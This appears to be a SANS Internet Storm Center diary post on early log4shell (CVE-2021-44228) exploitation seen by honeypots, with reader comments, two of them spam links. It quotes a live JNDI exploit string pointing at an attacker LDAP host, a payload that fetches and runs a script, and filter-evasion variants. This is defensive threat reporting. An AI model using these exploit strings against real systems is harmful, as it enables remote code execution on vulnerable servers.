On Thursday, December 9th, LunaSec published a blog post with details regarding a vulnerability in the log4j2 library. This vulnerability became quickly known as "log4shell", and CVE-2021-44228 was assigned to it [1]. On Friday, Bojan published a post with some technical details regarding the exploitation of this vulnerability [2]. We have also posted some of the attacks we saw via our Twitter account (@sans_isc). Let's start with a couple of "FAQs" we got from readers:
Our network of web honeypots has been busy collecting data about the attacks against log4j. The first two attacks we saw arrived on Thursday at 12:32 UTC from 45.155.205.233. This attack transmitted the exploit string using the user-agent, a patter that was common to many early exploit attempts: [see the end of this post for instructions on how to access our honeypot data]
This IP address has been sending different requests to our honeypots starting December 4th. None of the earlier requests are remarkable. They all probe known vulnerabilities unrelated to log4shell. For example, we saw some attempts to exploit the recent Apache path traversal issue, but also attacks against much older "Think App", PHPUnit and Exchange vulnerabilities. All prior attacks used the exact same user-agent header, until December 9th, when it started to use the log4shell exploit. Shodan shows the server returning an exploit string on port 9,000. The payload from port 9,000 includes instructions to download and run an "ex. sh" script. This file has sometimes been associated with crypto miners, but it does no longer appear to be available. On Friday, December 10th, others joined in on scanning the internet for systems vulnerable to log4shell. 45.155.205.233 stayed by far the most active according to our reports. We also have some Tor endpoints that originated multiple attacks. The IP addresses scanning for the vulnerability were associated with common botnets and all had a history of prior attacks against various vulnerabilities. Security company Binary Edge also started to scan for the vulnerability. The most commonly seen exploit pattern was ${jndi:ldap://aa895bba3900.bingsearchlib.com:39356/a}. The prefix changed with each request and was always twelve hexadecimal digits (six bytes). bingsearchlib.com is not associated with Bing or Microsoft as far as I can tell. The exploit instructs the victim to connect to this URL to download additional commands. Many of these exploits involving "bingsearch" originated via Tor. Other exploit strings included the base64 encoded command like what you see above. The exploit string typically encodes to something like:
Including the target IP in the URL may be used to just detect vulnerable systems, or to only deliver the payload if the request originates from the correct IP address. Then we had a few oddball requests:
This one appears to be associated with researchers at leakix.net.
A modified "real" user-agent, maybe an attempt to evade some filter or an attempt to exploit systems that only log part of the user-agent. We then also saw similar strings show up on the URL. For example:
A few requests also used ldaps instead of ldap as a possible simple way to evade filters. More promising evasion attempts only showed up later. For example, Binary Edge started using:
which obfuscates individual letters. (${lower:l} = l) What does this mean for defenses: - Attacks are ongoing, and your system was likely already scanned using one of the exploits above. add the following command-line options: or/and or/and consult this "Blue Team Cheatsheet" by SwitHak for vendor bulletins [3] Accessing Our Honeypot DataOur API (https://isc.sans.edu/api) offers two functions that make it easy to retrieve data related to the exploit. The first one retrieves data collected based on the URL. You may retrieve all data collected on a particular day that includes a specific string. For example:
retrieves all data from December 9th where the requested url includes the string " Similarly,
can be used to retrieve reports base on the user-agent. By default, the data is returned in XML, which doesn't work well in this case. Adding ?json will return the data in JSON format. PLEASE DO NOT USE THE DATA AS A SIMPLE BLOCKLIST. THE DATA IS PROVIDED "AS IS" AND HAS NOT BEEN FILTERED/VERIFIED.
--- |
Johannes 4478 Posts ISC Handler Dec 11th 2021 |
Thread locked Subscribe |
Dec 11th 2021 5 months ago |
Thanks for keeping us informed on the log4j2 mess. It's worth pointing out multiple VMWare products were also affected by this issue, so the patching marathon may involve more than just applications. The relevant advisory is VMSA-2021-0028:
https://www.vmware.com/security/advisories/VMSA-2021-0028.html |
Anonymous |
Quote |
Dec 11th 2021 5 months ago |
Thanks for sharing your important information with us.
Everybody can visit our website for more information: https://ma-guide.jp/ |
Anonymous |
Quote |
Dec 12th 2021 5 months ago |
Thanks for sharing your important information with us.
Everybody can visit our website for more information: https://ma-guide.jp/ |
Anonymous |
Quote |
Dec 12th 2021 5 months ago |
Looks like there is a new log4j4 2 version 2.16.0
hxxps://logging.apache.org/log4j/2.x/download.html hxxps://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3221?filter=allissues |
Anonymous |
Quote |
Dec 14th 2021 5 months ago |
Sign Up for Free or Log In to start participating in the conversation!